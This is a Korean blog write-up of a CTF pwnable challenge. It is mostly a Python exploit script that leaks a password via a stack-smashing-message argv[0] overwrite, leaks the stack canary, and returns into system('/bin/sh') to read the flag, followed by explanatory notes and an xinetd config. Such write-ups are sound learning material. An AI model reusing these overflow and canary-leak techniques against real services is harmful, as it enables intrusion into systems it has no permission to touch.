티스토리 뷰
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 | from err0rless import * import struct def getPassword(): s, t = connectSocket("192.168.95.148", 8777) print t.read_until("Password : ") t.write("A" * 0x11D + struct.pack("<I", 0x0804B060) + "\n") print t.read_until("Denined") passwd = s.recv(1024) passwd = passwd[34:passwd.find("ter") - 1] return passwd def pmain(): Password = getPassword() # Get Password # re-connect s, t = connectSocket("192.168.95.148", 8777) print s.recv(1024) s.send(Password + "\n") # do not execute exit(1); print t.read_until("Screen\n") s.send("2\n") print t.read_until("? : ") s.send("1\n") print t.read_until("Screen\n") s.send("4\n") # Leak The Canary print s.recv(1024) s.send("A" * 0x16) # site, Leaking Canary print s.recv(1024) s.send("/bin/sh") # system's argument ; fixed address print s.recv(1024) s.send("b" * 20 +"\n") print s.recv(1024) CANARY = struct.unpack("<I", chr(0x00) + s.recv(1024)[0x16:0x19])[0] s.send("3\n") print s.recv(1024) payload = "A" * 217 payload += struct.pack("<I", CANARY) # Canary payload += "D" * 12 payload += struct.pack("<I", 0x08048610) # system.plt payload += struct.pack("<I", 0x44444444) # Dummy payload += struct.pack("<I", 0x0804B0E0) # /bin/sh ; name in bss s.send(payload + "\n") print t.read_until("Failed....\n") s.send("0\n") print s.recv(1024) s.send("1\n") print t.read_until("again~\n") # send Command s.send("id ; cat /home/qlvlejtm/flag ; echo end\n") print t.read_until("end\n") if __name__ == "__main__": pmain() | cs |
처음에 패스워드를 어떻게 알아내는지 몰랐는데 레쎄친구한테 물어보니 SSP로 메모리릭을 할 수 있다는 힌트를 얻었고
leaveret에서 쓴 문서를 찾아 본후에 풀게 되었다. (물론 대회가 끝난후에 푼겁니다)
카나리가 바뀌면서 나오는 메세지는 대충 아래와 같다
:*** 카나리 바뀜 ㅎ ***: 파일명 terminated
이렇게 나오는데 저 파일명이 argv[0]을 참조한다는 것이다.
그래서 오버플로우로 (프로그램 내에서는 password를 scanf로 받아서 오버플로우가 난다.) 내어서
argv[0]을 password의 주소로 보내주면 파일명에 패스워드가 뜬다는 것이다.
* socat 프로그램으로 하면 안뜨는데, 왜인지는 모르겠음 그래서 직접 xinetd 서비스로 지정해줌.
service qlvlejtm
{
flags = REUSE
socket_type= stream
wait = no
user = qlvlejtm
server = /home/qlvlejtm/qlvlejtms
disable = no
}
카나리는 site를 받는 곳에서 0x16만큼 넣어주면 앞 3바이트를 릭할 수 있고 널바이트와 함께
카나리를 구하면 된다.
그리고 setting이라는 변수(0x0804B100)를 1로 만들어 주어야 exit(1);을 실행시키지 않고 종료 할 수있다.
이거 못보고 약간 해메었다.
패스워드 구하고 카나리 구하고 exit 셋팅 다 해주고 system 으로 RTL해주면 됨
'Pwnable > CTF' 카테고리의 다른 글
SECCON 2015 Quals FSB:TreeWalker (0) | 2015.12.09 |
---|---|
Plaid CTF 2014 pork (0) | 2015.10.25 |
Codegate 2015 Bookstore (0) | 2015.09.14 |
Layer7 CTF 2015 IhaveLongDariYouHaveShotDari (0) | 2015.08.30 |
CampCTF 2015 hacker_level exponly (1) | 2015.08.25 |
댓글